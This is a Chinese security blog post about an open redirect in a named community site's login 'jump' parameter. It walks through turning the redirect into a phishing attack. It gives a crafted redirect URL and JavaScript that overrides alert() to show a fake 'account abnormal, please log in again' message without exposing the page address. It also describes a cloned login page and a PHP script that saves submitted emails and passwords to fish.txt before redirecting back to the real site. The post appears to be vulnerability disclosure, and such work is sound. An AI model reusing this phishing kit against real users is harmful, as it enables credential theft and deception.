Se7en's Blog|Learn and live

圈子社区登陆处任意url跳转实现钓鱼用户

字数统计: 469阅读时长: 1 min
2019/06/10 Share

1

漏洞本身倒是没什么大危害,稍加利用下还蛮好玩的。

漏洞详情

圈子社区登陆首页默认链接:https://www.secquan.org/Login?jump=aHR0cHM6Ly93d3cuc2VjcXVhbi5vcmc=

对于上面红框中jump后内容的base64解码为:https://www.secquan.org

这里使用 https://www.baidu.com 的base64加密后的内容替换下,构造出的链接为:

https://www.secquan.org/Login?jump=aHR0cHM6Ly93d3cuYmFpZHUuY29t

登陆成功后即自动跳转至百度。

2

利用设想

3

实际利用

访问构造好的钓鱼链接,正常登陆

(能力有限,做不到太完美,不过看着倒是像那么回事):

先看一下页面跳转时弹窗的效果

※ 以下均在qq中测试效果

4

其实弹窗这里的标题默认是有网址显示的,这样等于直接暴露地址了,加一段JS来重写alert方法即可。

1
2
3
4
5
6
7
8
9
10
11
<script>
window.alert = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src", 'data:text/plain,');
document.documentElement.appendChild(iframe);
window.frames[0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert("账号异常,请重新登陆");
</script>

首页成品是这样的(勉勉强强以假乱真)

Ctrl+S将社区登陆的首页静态页面保存在了本地,进行了一番修改(配合接收账号密码的php文件),弄了会儿发现验证码无法调用,索性直接删除吧,感觉这个验证码是最失败的地方。

5

后台简单写个接收账号密码的php页面

1
2
3
4
5
6
7
<?php 	
$email=$_POST['email'];
$password=$_POST['password'];
$result=$email."|".$password;
file_put_contents("fish.txt", $result.PHP_EOL, FILE_APPEND);
echo "<script>window.location.href='https://www.secquan.org'</script>";
?>

钓鱼成功

6

最后用户输入的内容被写入到同目录下的fish.txt中,且页面被重定向至 https://www.secquan.org ,由于之前登陆成功的会话还在,所以直接就是已登陆的状态了。

CATALOG
  1. 1. 漏洞详情
  2. 2. 利用设想
  3. 3. 实际利用
    1. 3.1. 访问构造好的钓鱼链接,正常登陆
    2. 3.2. 先看一下页面跳转时弹窗的效果
    3. 3.3. 首页成品是这样的(勉勉强强以假乱真)
    4. 3.4. 后台简单写个接收账号密码的php页面
    5. 3.5. 钓鱼成功